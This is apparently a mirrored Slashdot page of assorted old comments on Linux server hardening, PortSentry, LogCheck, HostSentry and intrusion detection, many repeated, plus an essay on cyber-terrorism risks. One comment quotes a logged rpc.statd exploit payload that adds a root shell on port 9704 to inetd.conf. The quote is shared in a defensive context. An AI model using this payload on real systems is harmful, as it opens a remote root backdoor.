Slashdot Mirror

The company that makes the opensource security tools portsentry, logcheck, and hostsentry released something a few weeks back that they claim helps with this problem. The tool is called ClearResponse and it (supposedly) will investigate each attack seen by your IDS to see if the alarm is real or false and will then downgrade or upgrade the alarm and report to the admin. It looks pretty cool and we're getting an eval to check out. Here is their website:

ClearResponse

• Operating System: Although OpenBSD is generally regarded as the best Freenix in terms of security, GNU/Linux is under more active development, faster, more user friendly and supports far more software packages and types of hardware than OpenBSD (sorry Theo, much respect...). I, along with most of the other admins and users are more familiar with a GNU environment. The distribution we use is Debian. I chose Debian for several reasons: free (libre and gratis), strong package system and reliability. It hasn't let me down. I do prefer Slackware on my personal box, since the -current tree is more stable than Debian's unstable. However, Debian's package system is nicer and provides many things that Slackware lacks (I may abandon Slackware as soon as Debian supports XF4 and kernel 2.4 by default in stable). Debian also keeps up to date on security issues.
• Kernel: We now run a Linux 2.4 kernel. Although most security tools/patches are 2.2 only, the mature (READ: usable) ones have been ported to kernel 2.4. I'm confident that more will follow. 2.2 is dead. We have disabled modules entirely in our kernel to prevent hax0ring and to avoid using modules (does anyone else hate them?). We only have a few drivers enabled. Besides helping performance, this protects against hostile code injection into the kernel. It is possible for a clever coder to inject code into a non-modular kernel, but most rootkits use kernel modules. Not allowing kernel modules and using 2.4, prevents us from using some really cool security tools like LOMAC. However, I found that LOMAC did not play nicely with OpenWall's Secure Linux patch (or cron, or init or getty ...). When Lomac behaves nicer, it will be added (I'd also like to see it as a patch rather than a module). Currently, we are using the GetRewted.net patch which provides lots of security enhancements. We may be adding more secure kernel additions such as the NSA's Security Enhanced Linux. However, at this time, we feel that the current kernel security model is both secure and usable. If you have any neat kernel goodies we might like, tell us.
• Firewall: Note that we are NOT running any sort of real firewall. We feel that the extra kernel overhead of the firewall hurts performance and adds needless complexity to the server. Since we are NOT trusting local (ie: users with shell access) anyway, we feel that a firewall is basically useless since Linux's TCP/IP stack is already fault-tolerant, mature and robust. We augmented the TCP/IP stack with this shell script to limit our vulnerability to DoS attacks. Firewalling services should not be needed if your services are secure (run with minimal priviliges and SECURE by design and condiguration). Eventually we may drop an OpenBSD or Linux 2.4 firewall in front of the server as a measure for restricting local users ability to portscan, DoS and exploit remote hosts.
• Authentication / Login: Remote interactive sessions are only supported over ssh (and we run OpenSSH). Telnet is not allowed. Rhosts authentication is not allowed. I've looked at forcing people to use S/Keys, but it is a real pain in the ass on both ends. We are currently allowing FTP in. When I'm confident that all the users can get a good graphical scp/sftp client for their platform, I'll kill FTP. Since I'm not relying on trusting local users anyway, this is more a security concern for individual users. I'm considering locking some users who don't use their shells out of real shell access.
• Users: I only make accounts for people I know personally. I also monitor user login s and their activity using whowatch and process accounting. I'm suspicious of logins from weird hosts. I also use PAM to set resource limits.
• Monitoring: We watch out for network nastiness with Snort which is an AWESOME IDS. We monitor its logs and other system activity with Psionic's LogCheck. Occasionally, I'll audit the machines for weird ports using nmap and Nessus, both of which are REALLY nice. I'll also routinely verify system integrity using a combination of Tripwire and chkrootkit, on a system booted from a known CLEAN floppy containing the tools.

• Operating System: Although OpenBSD is generally regarded as the best Freenix in terms of security, GNU/Linux is under more active development, faster, more user friendly and supports far more software packages and types of hardware than OpenBSD (sorry Theo, much respect...). I, along with most of the other admins and users are more familiar with a GNU environment. The distribution we use is Debian. I chose Debian for several reasons: free (libre and gratis), strong package system and reliability. It hasn't let me down. I do prefer Slackware on my personal box, since the -current tree is more stable than Debian's unstable. However, Debian's package system is nicer and provides many things that Slackware lacks (I may abandon Slackware as soon as Debian supports XF4 and kernel 2.4 by default in stable). Debian also keeps up to date on security issues.
• Kernel: We now run a Linux 2.4 kernel. Although most security tools/patches are 2.2 only, the mature (READ: usable) ones have been ported to kernel 2.4. I'm confident that more will follow. 2.2 is dead. We have disabled modules entirely in our kernel to prevent hax0ring and to avoid using modules (does anyone else hate them?). We only have a few drivers enabled. Besides helping performance, this protects against hostile code injection into the kernel. It is possible for a clever coder to inject code into a non-modular kernel, but most rootkits use kernel modules. Not allowing kernel modules and using 2.4, prevents us from using some really cool security tools like LOMAC. However, I found that LOMAC did not play nicely with OpenWall's Secure Linux patch (or cron, or init or getty ...). When Lomac behaves nicer, it will be added (I'd also like to see it as a patch rather than a module). Currently, we are using the GetRewted.net patch which provides lots of security enhancements. We may be adding more secure kernel additions such as the NSA's Security Enhanced Linux. However, at this time, we feel that the current kernel security model is both secure and usable. If you have any neat kernel goodies we might like, tell us.
• Firewall: Note that we are NOT running any sort of real firewall. We feel that the extra kernel overhead of the firewall hurts performance and adds needless complexity to the server. Since we are NOT trusting local (ie: users with shell access) anyway, we feel that a firewall is basically useless since Linux's TCP/IP stack is already fault-tolerant, mature and robust. We augmented the TCP/IP stack with this shell script to limit our vulnerability to DoS attacks. Firewalling services should not be needed if your services are secure (run with minimal priviliges and SECURE by design and condiguration). Eventually we may drop an OpenBSD or Linux 2.4 firewall in front of the server as a measure for restricting local users ability to portscan, DoS and exploit remote hosts.
• Authentication / Login: Remote interactive sessions are only supported over ssh (and we run OpenSSH). Telnet is not allowed. Rhosts authentication is not allowed. I've looked at forcing people to use S/Keys, but it is a real pain in the ass on both ends. We are currently allowing FTP in. When I'm confident that all the users can get a good graphical scp/sftp client for their platform, I'll kill FTP. Since I'm not relying on trusting local users anyway, this is more a security concern for individual users. I'm considering locking some users who don't use their shells out of real shell access.
• Users: I only make accounts for people I know personally. I also monitor user login s and their activity using whowatch and process accounting. I'm suspicious of logins from weird hosts. I also use PAM to set resource limits.
• Monitoring: We watch out for network nastiness with Snort which is an AWESOME IDS. We monitor its logs and other system activity with Psionic's LogCheck. Occasionally, I'll audit the machines for weird ports using nmap and Nessus, both of which are REALLY nice. I'll also routinely verify system integrity using a combination of Tripwire and chkrootkit, on a system booted from a known CLEAN floppy containing the tools.

Wouldn't something like PortSentry be easier?

That and LogCheck to make picking out interesting log entries a breeze.

--
Delphis

Wouldn't something like PortSentry be easier?

That and LogCheck to make picking out interesting log entries a breeze.

--
Delphis

Sad to admit I had a box cracked with the rpc.statd exploit. The box wasn't anything particularly special, in fact, it was outside the firewall and expected to be cracked some time. Not a honeypot but just a server we didn't care if it did get cracked. Nothing seemed to have come of it and the box has since been rebuilt but for the interested, here is the log file the crack generated as caught by Logcheck:

rpc.statd[443]: SM_MON request for hostname containing '/': *INSERT BUNCH OF CRAPPY CHARACTERS*/bin/sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd

There were a lot of funky characters in the middle that slashdot wouldn't take.

I was installing portsentry from Psionic Software and somewhere in one of the files about using the software the author discusses the inevitability of being cracked. He believes that system admins can't keep up with constant updates and that eventually some hacker will find an exploit using their server. That is, the exploit will first be found on their box.

Do you, as a member of a widely trusted BSD distribution, think that eventually all computers will be hacked in some way?

Second question, do you think FreeBSD (and Linux) should ship with the tightest security possible at all times? Some reasons not to would be, usability by the "average" desktop user and being a hassle to set up for admins who want, say, ftp enabled.

I was installing portsentry from Psionic Software and somewhere in one of the files about using the software the author discusses the inevitability of being cracked. He believes that system admins can't keep up with constant updates and that eventually some hacker will find an exploit using their server. That is, the exploit will first be found on their box.

Do you, as a member of a widely trusted BSD distribution, think that eventually all computers will be hacked in some way?

Second question, do you think FreeBSD (and Linux) should ship with the tightest security possible at all times? Some reasons not to would be, usability by the "average" desktop user and being a hassle to set up for admins who want, say, ftp enabled.

Seems to be an awful lot of insurgence about @home. A buddy of mine set his boss up with a Linux firewall/masquerade box at the foot of his Cable connection on @home with an IDS on it. The IDS automatically put firewall rules (ipchains-style) in place and the port-scans from @home administration became a non-event. Box has been running for 3 months without a hitch.

A computer consulting company I worked for earlier this year was considering putting a similar database-enabled web-application together at the time, and, I thought it was a pretty good idea. They started to get confused, however, at the prospect of spoofed IP's and forged logs and failed to put it in place. So, I think dshield.org is on to something, if they can execute and do it without incriminating some innocent party.

I'd prefer to see such a service emanating from a nonprofit entity similar to w3c.org, though, to eliminate any integrity issues.

Incidentally, I just forward the relevant port scans from my FreeBSD firewall and Linux servers (port 111 and friends) to their ISPs and that usually takes care of things. More work for the ISP, but, I'd bet it's helpful over time....

My 2.


Linux rocks!!! www.dedserius.com

I've been using broadband DSL for quite a while, and some of the things that pass by my firewall are disgusting. I'm not even located on the usual 24.X.X.X range that is often associated with cable modem attacks, and every day I get no less than 10 or 20 attack attempts registered on PortSentry. As we all know, it's a dangerous web out there, and I'd really pity the foo' that doesn't use a dedicated firewall in cojunction with a broadband connection. Safe web surfing is one thing, but let's be serious, folks.

PortSentry Homepage

I'm running a small server in a bit of a jeopardized environment (it runs, among other things, an anonymous remailer). It runs a software called Port Sentry by Psionic, among other stuff. I think the software is qute qood, and I'm posting it here so that you might give it a try.

Portsentry works by attaching itself to a configurable number of ports. When it detects a port scan, it simply uses firewall rules to block IP traffic to the address the scan came from. You can easily configure your firewall to drop the respective rule after some time. It detects TCP as well as UDP scans at a configurable sensitivity. If you're evil-hearted, you can configure it to put in some retaliatory action, but I wouldn't recommend that because you don't know whom you're hurting. On systems that don't run a firewall, the IP address can be dropped by assigning it a dead route.

While the methods employed are quite basic, it's a very useful, more or less minimalistic tool that definitely adds to the security of the site. I'm using it under FreeBSD 4.1-STABLE, where it's in the ports collection, but it says it works for other BSDs as well as Linux and ipchains-based firewalls just as well.

I'm running a small server in a bit of a jeopardized environment (it runs, among other things, an anonymous remailer). It runs a software called Port Sentry by Psionic, among other stuff. I think the software is qute qood, and I'm posting it here so that you might give it a try.

Portsentry works by attaching itself to a configurable number of ports. When it detects a port scan, it simply uses firewall rules to block IP traffic to the address the scan came from. You can easily configure your firewall to drop the respective rule after some time. It detects TCP as well as UDP scans at a configurable sensitivity. If you're evil-hearted, you can configure it to put in some retaliatory action, but I wouldn't recommend that because you don't know whom you're hurting. On systems that don't run a firewall, the IP address can be dropped by assigning it a dead route.

While the methods employed are quite basic, it's a very useful, more or less minimalistic tool that definitely adds to the security of the site. I'm using it under FreeBSD 4.1-STABLE, where it's in the ports collection, but it says it works for other BSDs as well as Linux and ipchains-based firewalls just as well.

for detecting portscans, the first program to come to my mind (and that i have had some experience using) is portsentry. It binds itself to a number of unused but frequently scanned ports (1, 12345, 31337, etc) and you can change the list. you can also set it up to automatically respond (add the person to ipchains or whatnot). care should be used in setting up portsentry, though. i've seen attacks where people make scans with forged ips, and the automatic reponce automatically firewalls out your own ip, your router, your nameserver, you mailserver, etc.

hope this is useful.
-legolas

i've looked at love from both sides now. from win and lose, and still somehow...

Ok, this looks like something worthwhile to try. Though I have a few questions. First, does anything it use run as root? It opens TCP port 1062 (accessible by normal users), but perhaps it needs root access to some other root-only system files (this would be my guess).

Also, does this sort of program work well with Portsentry? Also, it'd be nice if this FreeVeracity client program acted in a similar fashion to LogCheck by checking the syslog-generated files. Then you could use one program to monitor critical file changes, illegal port scans, attempted hack-ins, everything in one bag. Perhaps FreeVeracity provides more functionality than I'm assuming though. I'd like to hear what anyone has to say.

Ok, this looks like something worthwhile to try. Though I have a few questions. First, does anything it use run as root? It opens TCP port 1062 (accessible by normal users), but perhaps it needs root access to some other root-only system files (this would be my guess).

Also, does this sort of program work well with Portsentry? Also, it'd be nice if this FreeVeracity client program acted in a similar fashion to LogCheck by checking the syslog-generated files. Then you could use one program to monitor critical file changes, illegal port scans, attempted hack-ins, everything in one bag. Perhaps FreeVeracity provides more functionality than I'm assuming though. I'd like to hear what anyone has to say.

http://www.psionic.com/abacus/portsentry/

I run this at home and at work. It is awesome. Basically, when you start getting ports scanned, it adds an entry to the routing table sending packets to the attacker to 0.0.0.0 -- effectively dropping them into a black hole. They don't get any output back from the port scan, and they have no effective way to contact your machine.

For my box (which is not online 24/7, but still) I use the Abacus Project's Portsentry (http://www.psionic.com/) and pmfirewall, available here. I find this to be quite sufficient.
cheers
cw

As for security, I'm a big fan of portsentry and logsentry. And although I have never used Bastille Linux I've heard many good things about it.

But it is a whole lot easier to lock down and secure a firewall, than worry about what software on your desktop might expose you. You'll be glad you did.

check out logcheck.

AIDE is a file checksum database thingy (similar to Tripwire [tm])
Portsentry is a portscan detection thingy...

And yes, both these things are good to have...


--

I NEVER RECOMMEND PUTTING IN RETALIATORY ACTION AGAINST AN ATTACKING HOST. Virtually every time you're are port scanned the host doing the scanning has been compromised itself. Therefore, if you retaliate you are probably attacking an innocent(?) party. Also the goal of security is to make the person GO AWAY. You don't want to irritate them into making a personal vendetta against you. Remember, even a 13 year old can run a [insert favorite D.O.S. program here] attack against you from their Windows box to make your life miserable.

Secure-Linux is a Linux kernel patch that adds nifty security features, which eliminates many, if not most, buffer overflow attacks. I tested this with one of the ProFTPd exploits, and indeed, the exploit failed against a known vulnerable version of ProFTPd. Without the patch, the exploit worked.

Psionic PortSentry detects and responds to port scans in real time. It works with other Unixes as well.

With these tools, the standard ipchains stuff, and a willingness to not run *every* daemon under the sun, you can have a reasonably secure Linux box.

Also, to throw those k1dd13z for an extra loop, put all this on linuxppc. Let 'em chew on that for a while...

New XFMail home page

/bin/tcsh: Try it; you'll like it.

Portsentry does this. The monitoring/blocking portion, anyways - when it detects a portscan, it adds the hosts to hosts.deny and sets a firewall rule to deny all further packets from that host. And, IIRC, you can set it up to take some action (such as notifying the administrator), as well as logging everything, though that may be in conjunction with one of their other products, logcheck.

Portsentry does this. The monitoring/blocking portion, anyways - when it detects a portscan, it adds the hosts to hosts.deny and sets a firewall rule to deny all further packets from that host. And, IIRC, you can set it up to take some action (such as notifying the administrator), as well as logging everything, though that may be in conjunction with one of their other products, logcheck.

Ack. Recently during a department meeting our security guy was explaining to our PHB the steps he has taken to protect our general purpose internet server (web, ftp, email primairly) He told her about how we use ipchains firewall rules to protect the system and started talking about the IDS we recently installed (portsentry by Psionic Software which is some pretty impressive softare, and it's GPL'd) and how it responds to a portscan, which is to drop the route to the attacker completely by appending the ipchains ruleset. She initially told him to remove portsentry and the firewall rules because she "didn't like the idea of denying anyone access to our resources"
I think a book like this could be very useful in such situations when the person in charge simply doesn't grasp the basic principles of network security (or really networks in general.) And if reading it doesn't help it sounds big and heavey enough to be used as an effective LART. ;->

I wrote a tool called HostSentry that does something called 'Login Anomaly Detection'. Basically it monitors user logins and logouts and detects suspicious activities such as:

- First time logins
- Logins from "foreign" domains
- Concurrent logins from different hosts
- Dangerous .rhosts entries
- Altered and missing .history files.
- Suspicious hidden directory names.
- Etc.

It is in early development stages now but is very effective at tracking and detecting compromised passwords on accounts. It works on Linux and other Unix variants. You can learn more about this and my other tools at:

Abacus Project
HostSentry

-- Craig

I wrote a tool called HostSentry that does something called 'Login Anomaly Detection'. Basically it monitors user logins and logouts and detects suspicious activities such as:

- First time logins
- Logins from "foreign" domains
- Concurrent logins from different hosts
- Dangerous .rhosts entries
- Altered and missing .history files.
- Suspicious hidden directory names.
- Etc.

It is in early development stages now but is very effective at tracking and detecting compromised passwords on accounts. It works on Linux and other Unix variants. You can learn more about this and my other tools at:

Abacus Project
HostSentry

-- Craig

http://www.psionic.com/papers/dns/

Hello,

I've been involved with computer security for over 10 years and currently am a developer for a commercial vulnerability scanner and intrusion detection system. I also produce a set of free tools that help secure Unix hosts. I say this as a brief introduction to my qualifications, not as an ego booster. Regardless, I have some comments:

Using CT, how easy or otherwise is it to bring down or attack vital systems?

This question is difficult to quantify as every organization has a different definition of what is "vital" and what is not. Since attackers typically do not know this information, they make it their task to break into every system they can on a target network and see what looks interesting. Even worse, focused attackers may actually plan what sub-systems they want to control and may have different objectives that fall outside of what someone may deem "vital."

For instance, a bank may assume their electronic funds transfer system is the most vital system to protect, but a terrorist may only want access to the financial records of persons or groups that are the bank's customers. This may not even involve destruction of data (which is what most people think is the end goal but isn't always), rather the pure information which is often much more valuable than simply destroying random records. Reconnaissance attacks like these are difficult to stop but extremely damaging. In the case of the bank, the terrorist may simply choose to track sources of funding based on deposit records to harm the person or group who is the target. In a situation like this, going into the bank to destroy the information is only a temporary setback and will raise attention. Why completely destroy a valuable point of information gathering by doing something silly like disrupting operations? It's rare that a single offensive has any lasting effect, you must attack from different levels and leverage all available resources for maximum impact. Only dispose of resources that you need to.

What sort of skills would be needed to do so, and are they common/teachable?

The skills are easily teached and commonly available. Anyone can learn to hack systems it is not hard and the people who deface web pages are not "computer geniuses" (as commonly portrayed), they just know where to look for the exploits. As with any information, exploits can be used for good or bad. Personally, I don't distribute attack code and probably never will.

There was a time (back in 1994-95) when I ran an extensive exploit archive on a low-bandwidth connection. The archive contained quite a number of useful tools, attacks, dictionary lists, etc. and was publicly available, but not advertised. It came to be one evening that I discovered a lot of activity on my MODEM (a lot of download activity). I looked at the server logs and caught a system from scientology.org that was mirroring my *entire* archive. For the un-initiated, Scientologists are an extremely destructive group and their intentions are rarely good (see http://www.xenu.net). I immediately unplugged the MODEM and took the archive offline. Since then I have refused to contribute to the problem by distributing attack code. It was an interesting lesson, one that taught me that some information needs to be *earned* and not just *given away*.

If this story doesn't send chills down your spine I don't know what will. There *are* groups of people who are gathering this information for purposes unknown to anyone. They are *surely* not out to deface websites, but you can be certain whatever it is they are up to is not good. People need to take more seriously the consequences of their actions when they release code that makes it easy for anyone to compromise a network.

Commercial-off-the-shelf software: can it really do CT?

I'm a developer on a vulnerability scanner called NetSonar. It is a COTS vulnerability assessment tool from Cisco Systems, Inc (I speak for myself, not my employer). I can say with fair certainty that these tools are not ideal for "cyber-terrorism" because they are designed with a different purpose in mind. For one, they are very "noisy" on a network during a scan because they are literally trying hundreds of different attacks and consuming a huge amount of bandwidth. From our experience, even totally clueless admins will probably notice a problem if any of the commercial scanners are used just because they are so incredibly hard on a network (causing errors, crashes, performance problems, user complaints, etc.). Also COTS tools aren't designed to gain remote access to a host as much as they are to tell you that someone *could* gain access to a host if so inclined. This is a significant difference because most scanners don't provide purely automated access mechanisms. In otherwords you still have to work a little once the scanner has found a hole. In most cases you need to run a third party exploit to gain access. If this is the case, why not just run the attack to begin with and see if it works to get in? Using a scanner is just another step you can eliminate as an attacker. This is what most intruders do: Blindly run an attack and see if it works. Unfortunately network security is so bad that this is more than enough. Now there *are* tools that exist that would be wonderful for offensive operations, we even have some ourselves that our consultants use. These tools are made to be quiet, quick, and targeted. They facilitate remote access, but that is what they are designed to do from the beginning. Tools like this exist in the underground too and will surely find a wider distribution in the next year or two.

Which systems are actually attackable?

Assume anything you have connected to a network is attackable, even if not immediately obvious why a person would want to attack it.

Can a recovery be made from such attacks?

Of course. It depends on what your backup and recovery strategies are. It is very hard to remove an attacker from your network once they gain access though. There are simply too many ways for them to dig in and spread. The best way to recover is to not let the person in to begin with. This is cliche, but true. Most times you'll need specialized personnel to help you recover from a bad infestation, even then there are no guarantees.

Is it likely to improve/get worse?

It's going to get worse. The software industry is introducing new code and new bugs everyday. They even manage in re-introduce old bugs solved years ago. Additionally, the industry still relies on antiquated languages such as C and C++ to do mission critical and general purpose coding. These languages are incredibly dangerous for most programmers and promote bugs and vulnerabilities through a lack of internal protection mechanisms. Bad code can be written in any language, but C and C++ are especially *good* at promoting *bad* code. As the Internet becomes an indispensible part of everyday life new programs (and attacks) will emerge that provide new opportunities for abuse. This is the problem for any technology and is not unique to the Internet.

What sort of preventitive work would you recommend them to carry out?

For one, take security seriously. Few organizations take security seriously until they've been compromised. At this point it is very hard to recover and truthfully you never will know you got rid of the problem. COTS vulnerability scanners, Intrusion Detection, anti-virus products, and maintaining current on patches for operating systems and application software are all critical. These four areas alone can stop most all hackers cold.

-- Craig

http://www.psionic.com

There's one called Snort that's pretty neat at http://www.clark.net/~roesch/security.ht ml

PortSentry is a port scan detector that can be found at http://www.psionic.com/abacus/portsentry

Northcutt's SHADOW project stuff is at http://www.nswc.navy.mil/ISSEC/CID/

You just have to be careful with it, so that you aren't vulnerable to a DOS attack.

--